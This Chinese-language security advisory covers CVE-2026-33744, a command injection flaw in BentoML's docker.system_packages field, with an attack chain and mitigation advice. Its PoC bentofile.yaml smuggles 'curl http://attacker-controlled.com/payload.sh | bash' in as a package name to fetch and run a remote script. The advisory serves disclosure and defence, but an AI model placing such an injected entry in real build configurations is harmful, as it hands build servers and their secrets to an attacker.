IPBUF安全漏洞报告
English
CVE-2026-33744 CVSS 7.8 高危

CVE-2026-33744 BentoML命令注入漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33744
漏洞类型
命令注入
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
BentoML

相关标签

命令注入CVE-2026-33744BentoMLRCEDockerAI框架

漏洞概述

BentoML是一个用于构建AI应用服务的Python库。在1.4.37版本之前,`bentofile.yaml`中的`docker.system_packages`字段接受任意字符串且未经过滤,直接被插入到Dockerfile的`RUN`命令中。攻击者可利用此漏洞,通过在字段中注入恶意Shell命令,在`bentoml containerize`或`docker build`过程中实现任意代码执行。

技术细节

该漏洞的原理是BentoML在处理配置文件`bentofile.yaml`时,对`docker.system_packages`字段缺乏严格的输入验证和清理机制。该字段在语义上应为操作系统包名列表,但在代码实现中,其值被直接拼接到Docker构建过程中的Shell命令里。攻击者可以构造包含Shell元字符(如`;`、`&&`、反引号等)的恶意包名。当受害者执行容器化构建命令时,这些恶意载荷会被Shell解析器执行,从而在构建环境中运行任意系统命令,导致服务器被控制。

攻击链分析

STEP 1
1. 构造恶意配置
攻击者创建包含恶意`system_packages`字段的`bentofile.yaml`文件,将恶意命令伪装成包名。
STEP 2
2. 诱导受害者使用
攻击者将恶意配置文件分发给受害者,或提交到受害者使用的代码仓库中。
STEP 3
3. 执行构建命令
受害者执行`bentoml containerize`或`docker build`命令尝试构建容器镜像。
STEP 4
4. 触发命令注入
BentoML将恶意字段拼接到Dockerfile的RUN指令中,Docker构建过程中执行注入的恶意代码。
STEP 5
5. 获取系统权限
攻击者的恶意代码在构建环境中运行,可能窃取密钥或建立后门。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# bentofile.yaml malicious configuration example service: "service.py:svc" labels: owner: victim project: demo include: - "*.py" docker: dockerfile_template: "./Dockerfile" # Exploit: Injecting arbitrary command via package name system_packages: - "vim" - "curl http://attacker-controlled.com/payload.sh | bash #"

影响范围

BentoML < 1.4.37

防御指南

临时缓解措施
如果无法立即升级,请务必检查所有依赖的BentoML项目配置。在执行`bentoml containerize`之前,人工审核`bentofile.yaml`中的`docker.system_packages`列表,确保没有包含Shell特殊字符或可疑的命令序列。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表